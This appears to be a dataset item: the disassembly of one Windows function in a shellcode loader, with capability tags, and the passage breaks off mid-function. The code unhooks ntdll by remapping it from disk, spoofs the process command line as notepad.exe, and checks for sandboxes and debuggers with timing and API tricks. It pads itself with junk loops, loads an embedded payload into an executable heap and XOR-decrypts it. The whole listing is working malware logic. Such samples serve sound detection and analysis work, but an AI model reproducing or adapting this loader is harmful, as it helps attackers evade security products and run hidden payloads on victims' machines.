Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x928
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x8d0], ecx
mov qword [rbp + 0x8d8], rdx
call fcn.140002d80
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x818], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x810], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
mov dword [rbp + 0x89c], 0
jmp 0x140001515
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d70
movq rax, xmm0
mov qword [rbp + 0x648], rax
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x132
jle 0x1400014cf
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x890], rax
cmp qword [rbp + 0x890], 0
jne 0x14000158b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x890], rax
cmp qword [rbp + 0x890], 0
je 0x140001969
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x808]
mov r10, qword [rbp + 0x890]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x800], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x800]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x800]
add rax, rdx
mov qword [rbp + 0x7d8], rax
mov word [rbp + 0x88e], 0
jmp 0x140001951
mov ecx, 0xa50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov dword [rbp + 0x888], 0
mov dword [rbp + 0x7cc], 1
mov dword [rbp + 0x884], 0
jmp 0x140001771
mov dword [rbp + 0x880], 0
jmp 0x140001761
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x884]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x7d0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x880]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 9
jle 0x140001702
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x41
jle 0x1400016f6
mov dword [rbp + 0x884], 0
jmp 0x1400017e7
mov dword [rbp + 0x880], 0
jmp 0x1400017d7
mov eax, dword [rbp + 0x884]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x7d0]
add rdx, rax
mov eax, dword [rbp + 0x880]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400017d0
add dword [rbp + 0x888], 1
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 9
jle 0x140001796
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x41
jle 0x14000178a
cmp dword [rbp + 0x888], 0x14a
je 0x140001806
mov dword [rbp + 0x7cc], 0
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7d8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x88e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001940
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x88e]
add eax, 1
mov word [rbp + 0x88e], ax
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x88e], ax
jb 0x1400016c5
mov ecx, 0x804
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x7b4], 1
mov dword [rbp + 0x878], 0
jmp 0x140001a22
mov dword [rbp + 0x874], 0
jmp 0x140001a12
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x878]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7b8]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x1a
jle 0x1400019a9
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x12
jle 0x14000199d
mov dword [rbp + 0x878], 0
jmp 0x140001aa2
mov dword [rbp + 0x874], 0
jmp 0x140001a92
mov eax, dword [rbp + 0x878]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7b8]
add rdx, rax
mov eax, dword [rbp + 0x874]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001a8b
add dword [rbp + 0x87c], 1
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x1a
jle 0x140001a47
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x12
jle 0x140001a3b
cmp dword [rbp + 0x87c], 0x100
je 0x140001ac1
mov dword [rbp + 0x7b4], 0
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0xa38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0xa38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov ecx, 0xa38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov ecx, 0xa38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x86c], 0x28d
mov dword [rbp + 0x870], 0
jmp 0x140001bc0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x870]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x870]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x28d
jle 0x140001b2d
mov dword [rbp + 0x870], 0
jmp 0x140001c5f
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov edx, dword [rbp + 0x870]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x798]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov edx, dword [rbp + 0x870]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x86c], 1
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x28d
jle 0x140001bdf
mov rax, qword [rbp + 0x7a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x818]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x788]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x868], 0xffffffff
mov ecx, 0x850
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
add dword [rbp + 0x868], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x780]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f80
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x868], 0x108
jle 0x140001d27
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x864], 0xffffffff
mov ecx, 0xde0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
add dword [rbp + 0x864], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x864]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x770]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003f80
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x864], 0x1ba
jle 0x140001e2f
mov rax, qword [rbp + 0x778]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x858], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x140001f97
mov rax, qword [rbp + 0x768]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x760]
mov r9d, 0x3000
mov r8d, 0x423
mov edx, 0
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140002cb1
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x140002cb1
mov rax, qword [rbp + 0x758]
mov edx, 0x5bb
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x754], eax
mov ecx, 0x614
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x614
jne 0x140002cb1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
je 0x140002085
mov rax, qword [rbp + 0x748]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
mov ecx, 0
call rax
mov dword [rbp + 0x854], eax
cmp dword [rbp + 0x854], 0xffffffff
je 0x140002cb1
mov dword [rbp + 0x5f4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r8, qword [rbp + 0x738]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f4]
cmp eax, 1
je 0x140002cb1
mov dword [rbp + 0x734], 0x208
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov eax, dword [rbp + 0x734]
mov r8, qword [rbp + 0x728]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x1d6
jbe 0x140002cb1
mov dword [rbp + 0x714], 0x365
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x714]
mov r8, qword [rbp + 0x708]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x333
jbe 0x140002cb1
mov dword [rbp + 0x6f4], 0x30f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6f4]
mov r8, qword [rbp + 0x6e8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x2dd
jbe 0x140002cb1
mov ecx, 0x446
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x446
jne 0x140002cb1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x6d4], 0x1fd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov eax, dword [rbp + 0x6d4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x1cb
jbe 0x140002cb1
lea rax, [rbp + 0x130]
lea rdx, [0x140006138]
mov ecx, 0x98
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x810]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x810]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 0
mov edx, 0x4c1
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0x4c1
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x818]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
lea rdx, [rbp + 0x130]
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0x4c1
mov rcx, rax
call r9
mov dword [rbp + 0x84c], 0
mov dword [rbp + 0x848], 0
movabs rax, 0xbd8beeaaa33549d0
movabs rdx, 0x37516ebcc16c1842
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xf93d5ec44a509602
movabs rdx, 0x16c8f77702b142a2
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xee09937184bbf78c
movabs rdx, 0xb653123afc0b1c4e
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x6c1a827ae87e7b74
movabs rdx, 0x8377f9abe6d6d79c
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xc8fb3c8a50be2e85
movabs rdx, 0x855eba103a708de
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x8b3b36f19c261bbe
movabs rdx, 0x3994929c0c453890
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x673994929c0c4538
movabs rdx, 0xc69615a3c341ee
mov qword [rbp + 0x19], rax
mov qword [rbp + 0x21], rdx
movabs rax, 0xe6b8a8069090687a
movabs rdx, 0x3908ab83a0d4a06a
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xb6ca0ac6a59a604e
movabs rdx, 0xf22d0496ac91599f
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x8719d504795a75c0
movabs rdx, 0x20198d65310f7c5e
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x1f44306ca3989ec2
movabs rdx, 0xb029322e44c7b748
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x28b20ae74423d50e
movabs rdx, 0x7fa0b16a14c35080
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xc06db2bcc5ef0124
movabs rdx, 0x67f881592168a663
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x218317044fa17316
movabs rdx, 0xf450a3af9fcdb042
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0xb5e6234eb0ab86
mov qword [rbp + 0x120], rax
mov ecx, 0x438
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x438
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x438
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x844], 0
jmp 0x1400027cc
mov dword [rbp + 0x840], 0
jmp 0x1400027b8
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x844]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x690]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x840]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x844]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x688]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x840]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0xe
jle 0x1400026f1
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x11
jle 0x1400026e2
mov dword [rbp + 0x844], 0
jmp 0x1400028a9
mov dword [rbp + 0x840], 0
jmp 0x140002895
mov eax, dword [rbp + 0x844]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x690]
add rdx, rax
mov eax, dword [rbp + 0x840]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x844]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x688]
add rdx, rax
mov eax, dword [rbp + 0x840]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x844]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x680]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x840]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0xe
jle 0x1400027f7
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x11
jle 0x1400027e8
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x850], 0
jmp 0x140002a39
mov eax, dword [rbp + 0x850]
cdqe
movzx edx, byte [rbp + rax + 0xb0]
mov eax, dword [rbp + 0x84c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x850]
cdqe
mov byte [rbp + rax + 0x30], dl
cmp dword [rbp + 0x84c], 0x67
jne 0x140002935
mov dword [rbp + 0x84c], 0
jmp 0x140002a32
mov ecx, 0x528
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov ecx, 0x528
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x838], 0x149
mov dword [rbp + 0x83c], 0
jmp 0x1400029fd
call sub.msvcrt.dll_rand
